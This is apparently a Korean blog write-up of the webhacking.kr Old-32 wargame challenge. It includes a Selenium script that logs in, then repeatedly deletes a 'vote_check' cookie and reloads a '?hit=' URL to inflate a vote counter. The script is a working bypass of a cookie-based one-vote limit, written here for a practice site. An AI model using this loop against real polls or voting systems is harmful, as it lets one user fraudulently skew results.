[Solved in under 20 minutes]
입사 이후에 퇴근하고 집에오니 힘이 없어서 미루다가 오늘 힘을 조금 내서 문제를 풀었습니다.. 하ㅏㅎ
모든 직장인 화이팅..!
가봅시다

일단 코드 봅시다

뭐 별건 없으니 패스

맨위에 있는사람에 마우스를 갖다대니 클릭? 형식의 CSS가 떠서 눌러보니 Hit가 1 올라갔다.
그리고 한번 더 누르니

한번 투표를 했다고 못 누르게 되어있다
뭐지 싶어서 바로 개발자도구를 키고 네트워크, 쿠키를 확인해보았는데

누가봐도 투표 쿠키인듯한 녀석이 보이길래 저거를 우클릭 삭제해주고 다시 투표해봤는데 역시나 투표권이 다시 생겼다.

네트워크는 뭐 없을까 하면서 보다가 파라미터가 ?hit 형식의 url을 접속하면 그게 투표로 바뀌는 것을 인지했다.
처음에 소스코드에 나오지만 아무렇지 않게 생각하다가 이것을 보고 깨달았다.
아. JS를 건들여서 투표저거를 1씩오르게 말고 100씩 오르게 하는건가? 해서 스윽스윽 찾다가 포기하고 그냥 매크로를 돌리기로 했다.
뇌가 지쳤는지 그냥 매크로 쓰란다.

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
import time
# 로그인 정보
user_id = "ccr3t"
user_pw = ""
login_url = "https://webhacking.kr/"
challenge_base_url = "https://webhacking.kr/challenge/code-5/"
target_url = f"{challenge_base_url}?hit={user_id}"
options = Options()
options.add_argument("--disable-gpu")
options.add_argument("--window-size=1920,1080")
driver = webdriver.Chrome(options=options)
driver.get(login_url)
time.sleep(1)
try:
login_button = driver.find_element(By.CLASS_NAME, "btn-danger")
login_button.click()
time.sleep(1)
except Exception as e:
print("로그인 버튼 못 찾음:", e)
driver.quit()
exit()
try:
id_input = driver.find_element(By.ID, "id")
pw_input = driver.find_element(By.ID, "pw")
id_input.send_keys(user_id)
pw_input.send_keys(user_pw)
submit_btn = driver.find_element(By.CSS_SELECTOR, "input.btn.btn-primary")
submit_btn.click()
time.sleep(2)
if "logout" not in driver.page_source.lower():
print("[-] 로그인 실패")
driver.quit()
exit()
else:
print("[+] 로그인 성공")
except Exception as e:
print("로그인 실패:", e)
driver.quit()
exit()
for i in range(99):
try:
driver.delete_cookie("vote_check")
driver.get(target_url)
print(f"[{i+1}] 접속: {target_url}")
time.sleep(1)
except Exception as e:
print(f"[{i+1}] 오류 발생: {e}")
continue
driver.quit()
코드를 간단하게 설명하자면 셀레니움을 사용해서 접속해서 id,pw를 입력하고 로그인하여 기존에 https://webhacking.kr/challenge/code-5/ url에 ?hit=ccr3t 형식으로 되는 방식이다. 그리고 접속하고 쿠키 삭제하고 다시 접속하고 이거 반복이다.
요약 : 로그인 -> URL접속 -> 쿠키삭제 -> url접속 -> 쿠키삭제 ...
쓸사람은 id / pw 만 삽입하고 돌려주면 잘 돌아간다.
셀리니움을 쓰려면 pip install selenium 만 해주면 된다.
바로 해보자

잘 올라간 것을 볼 수 있다.
쿠키를 손으로 직접 삭제해주고 클릭해주면?

잘 풀린다~~!
근데 왠지 이렇게 푸는거 아닌거 같은데 뭐 오펜시브에는 정답이 없다!!! 요즘 깨닫는 현실이다.
고로 나는 이렇게 풀었다.
Webhacking.kr Old-32 Write-up
이상 보고 끝!